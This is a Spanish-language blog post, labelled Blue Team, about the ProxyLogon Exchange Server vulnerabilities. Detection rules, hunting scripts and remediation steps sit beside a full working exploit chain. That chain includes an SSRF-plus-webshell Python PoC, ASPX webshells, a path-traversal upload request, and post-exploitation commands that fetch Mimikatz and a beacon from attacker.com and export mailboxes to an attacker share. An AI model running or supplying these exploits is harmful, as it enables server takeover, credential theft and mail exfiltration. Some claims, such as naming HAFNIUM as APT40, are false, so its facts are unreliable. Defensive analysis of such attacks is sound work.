HAFNIUM / ProxyLogon (2021): 0-days en Microsoft Exchange
APT40 (China) explotó 4 vulnerabilidades 0-day en Exchange Server. Análisis de SSRF y RCE.
•Blue Team•5 min de lectura
Compartir:
APT40 (China) explotó 4 vulnerabilidades 0-day en Exchange Server. Análisis de SSRF y RCE.
http POST /owa/auth/Current/themes/resources/logon.css HTTP/1.1 Host: victim-exchange.com Cookie: X-BEResource=attacker-controlled-backend/ews/exchange.asmx Forged request to internal API Explotación: python import requests def exploit_ssrf(target, payload_url): headers = { 'Cookie': f'X-BEResource={payload_url}', 'User-Agent': 'Mozilla/5.0' } url = f'https://{target}/owa/auth/Current/themes/resources/logon.css' response = requests.post( url, headers=headers, data='<Autodiscover />', verify=False ) return response # Resultado: Bypass de autenticación + acceso a API interna ### CVE-2021-26857: Deserialización insegura CVSS: 7.8 (High) Descripción: Deserialización insegura en Unified Messaging service csharp // Código vulnerable (simplificado) public void ProcessRequest(byte[] data) { BinaryFormatter formatter = new BinaryFormatter(); MemoryStream stream = new MemoryStream(data); // VULNERABLE: Deserializa datos sin validación object obj = formatter.Deserialize(stream); // RCE si obj contiene gadget chain malicioso ProcessObject(obj); } Gadget chain para RCE: csharp // Payload serializado que ejecuta comandos using Microsoft.Exchange.WebServices.Data; using System.Diagnostics; public class ExploitGadget { public void Execute() { Process.Start("cmd.exe", "/c powershell -enc <base64_payload>"); } } ### CVE-2021-26858: Escritura arbitraria de archivos CVSS: 7.8 (High) Descripción: Post-auth arbitrary file write http POST /owa/auth/Current HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="../../../Program Files/Microsoft/Exchange Server/V15/FrontEnd/HttpProxy/owa/auth/shell.aspx" <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% string cmd = Request["cmd"]; Process.Start("cmd.exe", "/c " + cmd); %> ------WebKitFormBoundary-- ### CVE-2021-27065: Escritura arbitraria de archivos (variante) CVSS: 7.8 (High) Descripción: Similar a CVE-2021-26858 pero vía ECP (Exchange Control Panel) ## Cadena de explotación completa Paso 1: SSRF (CVE-2021-26855) ↓ Bypass de autenticación ↓ Paso 2: Deserialización (CVE-2021-26857) ↓ RCE como SYSTEM ↓ Paso 3: File write (CVE-2021-26858/27065) ↓ Webshell persistente ↓ Paso 4: Post-explotación ↓ Exfiltración de buzones + lateral movement ## Exploit PoC python import requests import base64 from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class ProxyLogonExploit: def __init__(self, target): self.target = target self.session = requests.Session() self.session.verify = False def step1_ssrf(self): """CVE-2021-26855: SSRF para obtener SID""" print("[+] Step 1: SSRF para bypass de autenticación") headers = { 'Cookie': 'X-BEResource=localhost~1942062522/ecp/DDI/DDIService.svc/GetList', 'Content-Type': 'application/json' } payload = { "filter": { "Parameters": { "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All" } }, "sort": {} } url = f'https://{self.target}/ecp/DDI/DDIService.svc/GetList' resp = self.session.post(url, json=payload, headers=headers) if resp.status_code == 200: print("[+] SSRF exitoso!") return True return False def step2_webshell(self): """CVE-2021-27065: Escribir webshell""" print("[+] Step 2: Escribiendo webshell") webshell = '''<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% Response.Write("<pre>"); Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request["cmd"]; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); Response.Write("</pre>"); %>''' headers = { 'Cookie': 'X-BEResource=localhost~1942062522/ecp/DDI/DDIService.svc/SetObject' } payload = { "identity": { "__type": "Identity:ECP", "DisplayName": "test", "RawIdentity": "test" }, "properties": { "Parameters": { "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": f"http://f\n\n\n\n\n<script language=\"JScript\" runat=\"server\">function Page_Load(){{eval(Request[\"cmd\"],\"unsafe\");}}</script>\n\n\n\n\n/owa/auth/shell.aspx" } } } url = f'https://{self.target}/ecp/DDI/DDIService.svc/SetObject' resp = self.session.post(url, json=payload, headers=headers) if resp.status_code == 200: print("[+] Webshell escrito!") return True return False def execute_command(self, cmd): """Ejecutar comando en webshell""" url = f'https://{self.target}/owa/auth/shell.aspx?cmd={cmd}' resp = self.session.get(url) return resp.text # Uso exploit = ProxyLogonExploit("victim-exchange.com") if exploit.step1_ssrf() and exploit.step2_webshell(): result = exploit.execute_command("whoami") print(f"[+] Resultado: {result}") ## Post-explotación típica de HAFNIUM ### 1. Credential dumping powershell # Usando Mimikatz vía webshell Invoke-WebRequest -Uri "https://attacker.com/mimikatz.exe" -OutFile "C:\Windows\Temp\m.exe" C:\Windows\Temp\m.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > C:\Windows\Temp\creds.txt ### 2. Exfiltración de buzones powershell # Export de buzones completos New-MailboxExportRequest -Mailbox "victim@company.com" -FilePath "\\attacker-server\share\victim.pst" # O usando EWS API $service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService $service.Credentials = New-Object System.Net.NetworkCredential("user","pass") $service.Url = "https://exchange.company.com/ews/exchange.asmx" # Buscar emails sensibles $filter = new-object Microsoft.Exchange.WebServices.Data.SearchFilter+ContainsSubstring([Microsoft.Exchange.WebServices.Data.EmailMessageSchema]::Subject, "confidential") $items = $service.FindItems([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox, $filter, $view) ### 3. Persistencia vía scheduled task powershell # Task programada para ejecutar beacon cada hora $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')" $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachine" -Action $action -Trigger $trigger -User "SYSTEM" ## Detección ### Reglas Sigma yaml title: ProxyLogon Exploitation Attempt id: 7c64e566-3779-4d93-8025-b2d8e0a5b4e5 status: stable description: Detecta intentos de explotación de ProxyLogon author: Blue Team date: 2021/03/03 logsource: product: windows service: application definition: 'Exchange Server logs' detection: selection_ssrf: EventID: 4 Message|contains: - 'X-BEResource' - '/owa/auth/Current' selection_webshell: EventID: 2 Message|contains: - '.aspx' - 'cmd.exe' condition: selection_ssrf or selection_webshell falsepositives: - Unlikely level: critical tags: - attack.initial_access - attack.t1190 - cve.2021.26855 ### Hunting con PowerShell powershell # 1. Buscar webshells sospechosos Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth" -Filter "*.aspx" | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-30) } | ForEach-Object { $content = Get-Content $_.FullName -Raw if ($content -match "eval|execute|cmd\.exe|powershell") { [PSCustomObject]@{ Path = $_.FullName CreationTime = $_.CreationTime Suspicious = $true } } } # 2. Revisar logs de IIS para SSRF $iisLogs = "C:\inetpub\logs\LogFiles\W3SVC1" Get-Content "$iisLogs\*.log" | Select-String "X-BEResource" | Where-Object { $_ -match "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" } | ForEach-Object { Write-Host "[!] Posible SSRF: $_" } # 3. Buscar exportaciones de buzones no autorizadas Get-MailboxExportRequest | Where-Object { $_.Status -eq "Completed" -and $_.CreationTime -gt (Get-Date).AddDays(-30) } ### Indicators of Compromise (IoCs) Rutas de webshells: \owa\auth\[random].aspx \ecp\auth\[random].aspx \aspnet_client\[random].aspx Archivos comunes: shell.aspx test.aspx help.aspx supp0rt.aspx 8.aspx IPs de HAFNIUM (ejemplos): 103.77.192.219 104.140.114.110 104.250.191.110 108.61.246.56 ## Microsoft Exchange Emergency Mitigation Service Microsoft lanzó herramienta automática: powershell # Descargar e instalar Invoke-WebRequest -Uri "https://aka.ms/ExchangeMitigations" -OutFile "ExchangeMitigations.ps1" .\ExchangeMitigations.ps1 -RunFullScan # Aplicar mitigaciones .\ExchangeMitigations.ps1 -DoNotRunFullScan -ApplyMitigation ## Remediación ### Pasos urgentes 1. Parchear inmediatamente - Instalar parches de marzo 2021 - Verificar con: Get-Command exsetup.exe | ForEach {$_.FileVersionInfo} 2. Buscar compromisos powershell # Usar Microsoft Safety Scanner .\msert.exe /Q /F:Y # O script de Microsoft .\Test-ProxyLogon.ps1 3. Limpiar webshells powershell Get-ChildItem -Path "C:\inetpub\wwwroot" -Recurse -Filter "*.aspx" | Where-Object { $_.CreationTime -gt (Get-Date "2021-01-01") } | Remove-Item -Force -Confirm 4. Rotar credenciales - Todas las cuentas de Exchange - Cuentas de servicio - Certificados --- #ProxyLogon #HAFNIUM #Exchange #ZeroDay #APT40 #BlueTeam #IR